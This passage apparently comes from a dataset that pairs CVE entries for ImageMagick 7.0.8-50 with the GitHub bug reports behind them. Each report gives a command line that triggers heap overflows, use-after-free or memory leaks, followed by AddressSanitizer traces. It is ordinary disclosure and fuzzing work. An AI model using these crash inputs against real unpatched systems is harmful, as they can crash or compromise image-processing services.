AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7fdfed987963 in ConstantString MagickCore/string.c:713:26 #4 0x7fdfed94fee1 in CloneSplayTree MagickCore/splay-tree.c:372:43 #5 0x7fdfed884f23 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7fdfed7a5f99 in CloneImage MagickCore/image.c:839:10 #7 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #8 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #9 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #10 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: 1000000 byte(s) leaked in 24 allocation(s). ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-18 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

Direct memory leaks in AcquireMagickMemory and indirect memory leaks

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1604/comments

2019-06-18T17:22:26Z

2019-07-08T01:48:39Z

https://github.com/ImageMagick/ImageMagick/issues/1604

CVE-2019-13297

2019-07-05T01:15:10.047

ImageMagick 7.0.8-50 Q16 has a heap-based buffer over-read at MagickCore/threshold.c in AdaptiveThresholdImage because a height of zero is mishandled.

https://github.com/ImageMagick/ImageMagick/issues/1609

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow at MagickCore/threshold.c:328:11 in AdaptiveThresholdImage. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -dispose Background "(" magick:netscape -lat 514x0-41 ")" "(" magick:granite -charcoal 3 -level 0%,125,0.328 ")" -combine -print "" tmp` Here's ASAN log. ``` ==22189==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x620000001090 at pc 0x7fd7e5dd4be2 bp 0x7ffd816c3a30 sp 0x7ffd816c3a28 READ of size 4 at 0x620000001090 thread T0 #0 0x7fd7e5dd4be1 in AdaptiveThresholdImage MagickCore/threshold.c:328:11 #1 0x7fd7e5386cb6 in CLISimpleOperatorImage MagickWand/operation.c:2571:21 #2 0x7fd7e537bc78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #3 0x7fd7e53a1315 in CLIOption MagickWand/operation.c:5273:16 #4 0x7fd7e51e2a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #5 0x7fd7e51e3d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #6 0x7fd7e522dba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #7 0x526f95 in MagickMain utilities/magick.c:149:10 #8 0x5268e1 in main utilities/magick.c:180:10 #9 0x7fd7dfca4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x41b069 in _start (install/bin/magick+0x41b069) Address 0x620000001090 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/threshold.c:328:11 in AdaptiveThresholdImage ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow at MagickCore/threshold.c:328:11 in AdaptiveThresholdImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1609/comments

2019-06-21T06:02:04Z

2019-07-08T01:48:56Z

https://github.com/ImageMagick/ImageMagick/issues/1609

CVE-2019-13298

2019-07-05T01:15:10.110

ImageMagick 7.0.8-50 Q16 has a heap-based buffer overflow at MagickCore/pixel-accessor.h in SetPixelViaPixelInfo because of a MagickCore/enhance.c error.

https://github.com/ImageMagick/ImageMagick/issues/1611

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow at MagickCore/pixel-accessor.h:804:56 in SetPixelViaPixelInfo. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 "(" magick:netscape -random-threshold 66x4 -resize 72%+20-45 ")" "(" magick:netscape -shear 40 -enhance ")" tmp` Here's ASAN log. ``` ================================================================= ==6928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7faaff40fa80 at pc 0x7fab0dddcb45 bp 0x7fff3e3ee2b0 sp 0x7fff3e3ee2a8 WRITE of size 4 at 0x7faaff40fa80 thread T0 #0 0x7fab0dddcb44 in SetPixelViaPixelInfo ./MagickCore/pixel-accessor.h:804:56 #1 0x7fab0ddf1234 in EnhanceImage MagickCore/enhance.c:1976:7 #2 0x7fab0d63a171 in CLISimpleOperatorImage MagickWand/operation.c:2284:21 #3 0x7fab0d632c78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #4 0x7fab0d658315 in CLIOption MagickWand/operation.c:5273:16 #5 0x7fab0d499a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #6 0x7fab0d49ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #7 0x7fab0d4e4ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #8 0x526f95 in MagickMain utilities/magick.c:149:10 #9 0x5268e1 in main utilities/magick.c:180:10 #10 0x7fab07f5bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x41b069 in _start (install/bin/magick+0x41b069) 0x7faaff40fa80 is located 0 bytes to the right of 905856-byte region [0x7faaff332800,0x7faaff40fa80) allocated by thread T0 here: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fab0ded3ed6 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7fab0dc1c61c in OpenPixelCache MagickCore/cache.c:3728:46 #3 0x7fab0dc22901 in GetImagePixelCache MagickCore/cache.c:1754:18 #4 0x7fab0dc28bc9 in SyncImagePixelCache MagickCore/cache.c:5488:28 #5 0x7fab0de87831 in SetImageStorageClass MagickCore/image.c:2627:10 #6 0x7fab0dde375f in EnhanceImage MagickCore/enhance.c:1891:7 #7 0x7fab0d63a171 in CLISimpleOperatorImage MagickWand/operation.c:2284:21 #8 0x7fab0d632c78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #9 0x7fab0d658315 in CLIOption MagickWand/operation.c:5273:16 #10 0x7fab0d499a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7fab0d49ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7fab0d4e4ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7fab07f5bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow ./MagickCore/pixel-accessor.h:804:56 in SetPixelViaPixelInfo ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow at MagickCore/pixel-accessor.h:804:56 in SetPixelViaPixelInfo

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1611/comments

2019-06-21T06:07:48Z

2019-07-08T01:49:17Z

https://github.com/ImageMagick/ImageMagick/issues/1611

CVE-2019-13299

2019-07-05T01:15:10.187

ImageMagick 7.0.8-50 Q16 has a heap-based buffer over-read at MagickCore/pixel-accessor.h in GetPixelChannel.

https://github.com/ImageMagick/ImageMagick/issues/1610

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow at MagickCore/pixel-accessor.h:116:10 in GetPixelChannel. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 "(" magick:netscape -monochrome ")" "(" magick:netscape +repage ")" -geometry 433%-80-57 -adjoin -evaluate-sequence Median tmp` Here's ASAN log. ``` ==30168==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7febb7ba1400 at pc 0x7febc5808632 bp 0x7ffd269baff0 sp 0x7ffd269bafe8 READ of size 4 at 0x7febb7ba1400 thread T0 #0 0x7febc5808631 in GetPixelChannel ./MagickCore/pixel-accessor.h:116:10 #1 0x7febc5805ff6 in EvaluateImages MagickCore/statistic.c:587:33 #2 0x7febc4e1a5bf in CLIListOperatorImages MagickWand/operation.c:4084:22 #3 0x7febc4e2435e in CLIOption MagickWand/operation.c:5279:14 #4 0x7febc4c65a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #5 0x7febc4c66d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #6 0x7febc4cb0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #7 0x526f95 in MagickMain utilities/magick.c:149:10 #8 0x5268e1 in main utilities/magick.c:180:10 #9 0x7febbf727b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x41b069 in _start (install/bin/magick+0x41b069) 0x7febb7ba1400 is located 0 bytes to the right of 248832-byte region [0x7febb7b64800,0x7febb7ba1400) allocated by thread T0 here: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7febc569fed6 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7febc53e861c in OpenPixelCache MagickCore/cache.c:3728:46 #3 0x7febc53ee901 in GetImagePixelCache MagickCore/cache.c:1754:18 #4 0x7febc53f4bc9 in SyncImagePixelCache MagickCore/cache.c:5488:28 #5 0x7febc5653831 in SetImageStorageClass MagickCore/image.c:2627:10 #6 0x7febc54187e2 in AcquireImageColormap MagickCore/colormap.c:144:10 #7 0x7febc575d137 in AssignImageColors MagickCore/quantize.c:514:7 #8 0x7febc5753f38 in QuantizeImage MagickCore/quantize.c:2724:14 #9 0x7febc53ae56c in SetImageType MagickCore/attribute.c:1495:14 #10 0x7febc4e0cace in CLISimpleOperatorImage MagickWand/operation.c:2792:18 #11 0x7febc4dfec78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #12 0x7febc4e24315 in CLIOption MagickWand/operation.c:5273:16 #13 0x7febc4c65a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #14 0x7febc4c66d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #15 0x7febc4cb0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #16 0x526f95 in MagickMain utilities/magick.c:149:10 #17 0x5268e1 in main utilities/magick.c:180:10 #18 0x7febbf727b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow ./MagickCore/pixel-accessor.h:116:10 in GetPixelChannel ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow at MagickCore/pixel-accessor.h:116:10 in GetPixelChannel

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1610/comments

2019-06-21T06:05:24Z

2019-10-25T13:50:32Z

https://github.com/ImageMagick/ImageMagick/issues/1610

CVE-2019-13300

2019-07-05T01:15:10.250

ImageMagick 7.0.8-50 Q16 has a heap-based buffer overflow at MagickCore/statistic.c in EvaluateImages because of mishandling columns.

https://github.com/ImageMagick/ImageMagick/issues/1586

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a heap buffer overflow vulnerability in MagickCore/statistic.c:654:41 in .omp_outlined._debug__.10 ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run cmd: `magick "-black-point-compensation" "-interlace" "none" "(" "magick:rose" "-density" "302x531" ")" "(" "magick:granite" "+repage" ")" "-antialias" "-evaluate-sequence" "Log" ""` This is about heap-buffer-overflow log using ASAN. ``` ==27479==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000018800 at pc 0x0000006205ab bp 0x7ffd7a503310 sp 0x7ffd7a503308 WRITE of size 8 at 0x629000018800 thread T0 #0 0x6205aa in .omp_outlined._debug__.10 MagickCore/statistic.c:654:41 #1 0x621c5e in .omp_outlined..11 MagickCore/statistic.c:618:7 #2 0x7f79836bd452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #3 0x7f79836771b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) #4 0x7f79836782b5 in __kmp_fork_call (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x372b5) #5 0x7f798366b7be in __kmpc_fork_call (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x2a7be) #6 0x61c9ca in EvaluateImages MagickCore/statistic.c:615:15 #7 0x13fcdb9 in CLIListOperatorImages MagickWand/operation.c:4081:22 #8 0x1406ec5 in CLIOption MagickWand/operation.c:5276:14 #9 0x128a9db in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x128bcf2 in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x128e457 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x531745 in MagickMain utilities/magick.c:149:10 #13 0x531091 in main utilities/magick.c:180:10 #14 0x7f7983059b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #15 0x425819 in _start (install/bin/magick+0x425819) 0x629000018800 is located 0 bytes to the right of 17920-byte region [0x629000014200,0x629000018800) allocated by thread T0 here: #0 0x4efb47 in __interceptor_malloc (install/bin/magick+0x4efb47) #1 0x5824e7 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x58254f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x61cfee in AcquirePixelThreadSet MagickCore/statistic.c:175:33 #4 0x61ba43 in EvaluateImages MagickCore/statistic.c:493:19 #5 0x13fcdb9 in CLIListOperatorImages MagickWand/operation.c:4081:22 #6 0x1406ec5 in CLIOption MagickWand/operation.c:5276:14 #7 0x128a9db in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #8 0x128bcf2 in MagickImageCommand MagickWand/magick-cli.c:796:5 #9 0x128e457 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #10 0x531745 in MagickMain utilities/magick.c:149:10 #11 0x531091 in main utilities/magick.c:180:10 #12 0x7f7983059b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/statistic.c:654:41 in .omp_outlined._debug__.10 ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-10 - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow in MagickCore/statistic.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1586/comments

2019-06-10T15:57:48Z

2019-07-08T01:49:56Z

https://github.com/ImageMagick/ImageMagick/issues/1586

CVE-2019-13301

2019-07-05T01:15:10.297

ImageMagick 7.0.8-50 Q16 has memory leaks in AcquireMagickMemory because of an AnnotateImage error.

https://github.com/ImageMagick/ImageMagick/issues/1585

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description There is a heap buffer overflow/heap-use-after-free vulnerability in MagickCore/resize.c:2823:28 in .omp_outlined._debug__.72 with the same input. And also memory leaks in AcquireMagickMemory of MagickCore/memory.c:478:10 this still exists [#1558](https://github.com/ImageMagick/ImageMagick/issues/1558) It sometimes doesn't occur so needs to be executed for several times. I found that this bug was not reproduced but it is reproduced with certain arguments. [#1500](https://github.com/ImageMagick/ImageMagick/issues/1500) <!-- A description of the bug or feature --> ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run cmd: `magick "-black-point-compensation" "-weight" "63" "(" "magick:logo" "-normalize" "-resize" "892%-38-49" ")" "(" "magick:wizard" "-preview" "Spiff" "-solarize" "35%" "-cycle" "813" ")" "(" "magick:granite" "-preview" "Blur" "-draw" ""rotate" "205"" "-colors" "109" ")" "-crop" "333x497" "-print" "" ` This is about the heap-buffer-overflow. ``` ================================================================= ==19621==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc8b5310d28 at pc 0x000000f00dff bp 0x7ffc7c6a9a50 sp 0x7ffc7c6a9a48 READ of size 4 at 0x7fc8b5310d28 thread T0 #0 0xf00dfe in .omp_outlined._debug__.72 MagickCore/resize.c:2823:28 #1 0xf019b6 in .omp_outlined..73 MagickCore/resize.c:2706:3 #2 0x7fc8c2077452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #3 0x7fc8c20311b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) #4 0x7fc8c20322b5 in __kmp_fork_call (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x372b5) #5 0x7fc8c20257be in __kmpc_fork_call (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x2a7be) #6 0xef317f in VerticalFilter MagickCore/resize.c:2703:11 #7 0xef0442 in ResizeImage MagickCore/resize.c:2961:14 #8 0xefb6bd in ThumbnailImage MagickCore/resize.c:3703:21 #9 0xd0cdfd in PreviewImage MagickCore/effect.c:2337:15 #10 0x13f0c33 in CLISimpleOperatorImage MagickWand/operation.c:2964:21 #11 0x13e0af5 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #12 0x1406e7c in CLIOption MagickWand/operation.c:5270:16 #13 0x128a9db in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #14 0x128bcf2 in MagickImageCommand MagickWand/magick-cli.c:796:5 #15 0x128e457 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #16 0x531745 in MagickMain utilities/magick.c:149:10 #17 0x531091 in main utilities/magick.c:180:10 #18 0x7fc8c1a13b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #19 0x425819 in _start (/usr/local/bin/magick+0x425819) 0x7fc8b5310d28 is located 1832 bytes to the right of 1175040-byte region [0x7fc8b51f1800,0x7fc8b5310600) allocated by thread T0 here: #0 0x4f09b0 in __interceptor_posix_memalign (/usr/local/bin/magick+0x4f09b0) #1 0x5822fa in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0xb11bac in OpenPixelCache MagickCore/cache.c:3728:46 #3 0xb188c5 in GetImagePixelCache MagickCore/cache.c:1754:18 #4 0xb1f66b in SyncImagePixelCache MagickCore/cache.c:5494:28 #5 0x53f46e in SetImageStorageClass MagickCore/image.c:2627:10 #6 0xef2791 in VerticalFilter MagickCore/resize.c:2681:7 #7 0xef0442 in ResizeImage MagickCore/resize.c:2961:14 #8 0xefb6bd in ThumbnailImage MagickCore/resize.c:3703:21 #9 0xd0cdfd in PreviewImage MagickCore/effect.c:2337:15 #10 0x13f0c33 in CLISimpleOperatorImage MagickWand/operation.c:2964:21 #11 0x13e0af5 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #12 0x1406e7c in CLIOption MagickWand/operation.c:5270:16 #13 0x128a9db in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #14 0x128bcf2 in MagickImageCommand MagickWand/magick-cli.c:796:5 #15 0x128e457 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #16 0x531745 in MagickMain utilities/magick.c:149:10 #17 0x531091 in main utilities/magick.c:180:10 #18 0x7fc8c1a13b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/resize.c:2823:28 in .omp_outlined._debug__.72 ``` And this is about heap-use-after-free. ``` ================================================================= ==24235==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f2fd1712c88 at pc 0x000000f00dff bp 0x7ffef1b2acd0 sp 0x7ffef1b2acc8 READ of size 4 at 0x7f2fd1712c88 thread T0 #0 0xf00dfe in .omp_outlined._debug__.72 MagickCore/resize.c:2823:28 #1 0xf019b6 in .omp_outlined..73 MagickCore/resize.c:2706:3 #2 0x7f2fde527452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #3 0x7f2fde4e11b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) #4 0x7f2fde4e22b5 in __kmp_fork_call (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x372b5) #5 0x7f2fde4d57be in __kmpc_fork_call (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x2a7be) #6 0xef317f in VerticalFilter MagickCore/resize.c:2703:11 #7 0xef0442 in ResizeImage MagickCore/resize.c:2961:14 #8 0xefb6bd in ThumbnailImage MagickCore/resize.c:3703:21 #9 0xd0cdfd in PreviewImage MagickCore/effect.c:2337:15 #10 0x13f0c33 in CLISimpleOperatorImage MagickWand/operation.c:2964:21 #11 0x13e0af5 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #12 0x1406e7c in CLIOption MagickWand/operation.c:5270:16 #13 0x128a9db in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #14 0x128bcf2 in MagickImageCommand MagickWand/magick-cli.c:796:5 #15 0x128e457 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #16 0x531745 in MagickMain utilities/magick.c:149:10 #17 0x531091 in main utilities/magick.c:180:10 #18 0x7f2fddec3b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #19 0x425819 in _start (/usr/local/bin/magick+0x425819) 0x7f2fd1712c88 is located 1160 bytes inside of 1566720-byte region [0x7f2fd1712800,0x7f2fd1891000) freed by thread T0 here: #0 0x4ef768 in __interceptor_free (/usr/local/bin/magick+0x4ef768) #1 0x583e5c in RelinquishAlignedMemory MagickCore/memory.c:1037:3 #2 0xafde01 in RelinquishPixelCachePixels MagickCore/cache.c:972:40 #3 0xb12119 in OpenPixelCache MagickCore/cache.c:3757:19 #4 0xb188c5 in GetImagePixelCache MagickCore/cache.c:1754:18 #5 0xb1f66b in SyncImagePixelCache MagickCore/cache.c:5494:28 #6 0x53f46e in SetImageStorageClass MagickCore/image.c:2627:10 #7 0xef2791 in VerticalFilter MagickCore/resize.c:2681:7 #8 0xef0442 in ResizeImage MagickCore/resize.c:2961:14 #9 0xefb6bd in ThumbnailImage MagickCore/resize.c:3703:21 #10 0xd0cdfd in PreviewImage MagickCore/effect.c:2337:15 #11 0x13f0c33 in CLISimpleOperatorImage MagickWand/operation.c:2964:21 #12 0x13e0af5 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #13 0x1406e7c in CLIOption MagickWand/operation.c:5270:16 #14 0x128a9db in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #15 0x128bcf2 in MagickImageCommand MagickWand/magick-cli.c:796:5 #16 0x128e457 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #17 0x531745 in MagickMain utilities/magick.c:149:10 #18 0x531091 in main utilities/magick.c:180:10 #19 0x7f2fddec3b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) previously allocated by thread T0 here: #0 0x4f09b0 in __interceptor_posix_memalign (/usr/local/bin/magick+0x4f09b0) #1 0x5822fa in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0xb11bac in OpenPixelCache MagickCore/cache.c:3728:46 #3 0xb188c5 in GetImagePixelCache MagickCore/cache.c:1754:18 #4 0xb1f66b in SyncImagePixelCache MagickCore/cache.c:5494:28 #5 0x54833f in SetImageExtent MagickCore/image.c:2668:10 #6 0x53f1c3 in CloneImage MagickCore/image.c:911:7 #7 0xef0272 in ResizeImage MagickCore/resize.c:2940:18 #8 0xefb6bd in ThumbnailImage MagickCore/resize.c:3703:21 #9 0xd0cdfd in PreviewImage MagickCore/effect.c:2337:15 #10 0x13f0c33 in CLISimpleOperatorImage MagickWand/operation.c:2964:21 #11 0x13e0af5 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #12 0x1406e7c in CLIOption MagickWand/operation.c:5270:16 #13 0x128a9db in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #14 0x128bcf2 in MagickImageCommand MagickWand/magick-cli.c:796:5 #15 0x128e457 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #16 0x531745 in MagickMain utilities/magick.c:149:10 #17 0x531091 in main utilities/magick.c:180:10 #18 0x7f2fddec3b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/resize.c:2823:28 in .omp_outlined._debug__.72 ``` About memory leaks in AcquireMagickMemory of MagickCore/memory.c:478:10 ``` ==7040==ERROR: LeakSanitizer: detected memory leaks Direct leak of 73928 byte(s) in 18 object(s) allocated from: #0 0x4e53b7 in __interceptor_malloc (install/bin/magick+0x4e53b7) #1 0x7f26dee6f8b6 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f26dee6f91f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f26df03be77 in AcquireString MagickCore/string.c:142:24 #4 0x7f26df03ca21 in CloneString MagickCore/string.c:300:20 #5 0x7f26dec7b28a in CloneDrawInfo MagickCore/draw.c:310:12 #6 0x7f26dea7108b in AnnotateImage MagickCore/annotate.c:267:12 #7 0x7f26dee7e6ba in MontageImageList MagickCore/montage.c:842:22 #8 0x7f26dee78821 in MontageImages MagickCore/montage.c:316:17 #9 0x7f26decf1ba4 in PreviewImage MagickCore/effect.c:2747:17 #10 0x7f26de4f3581 in CLISimpleOperatorImage MagickWand/operation.c:2964:21 #11 0x7f26de4e39b8 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #12 0x7f26de509045 in CLIOption MagickWand/operation.c:5270:16 #13 0x7f26de348749 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #14 0x7f26de3499ba in MagickImageCommand MagickWand/magick-cli.c:796:5 #15 0x7f26de3940d2 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #16 0x526fb5 in MagickMain utilities/magick.c:149:10 #17 0x526901 in main utilities/magick.c:180:10 #18 0x7f26d8925b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: 73928 byte(s) leaked in 18 allocation(s). ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-10 - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 (heap-buffer-overflow/heap-use-after-free are triggered when compiled with option '--disable-shared') (memory leak is triggered when compiled without option '--disable-shared') <!-- Thanks for reporting the issue to ImageMagick! -->

memory leaks in AcquireMagickMemory of MagickCore/memory.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1585/comments

2019-06-10T14:34:22Z

2019-10-05T02:53:40Z

https://github.com/ImageMagick/ImageMagick/issues/1585

CVE-2019-13301

2019-07-05T01:15:10.297

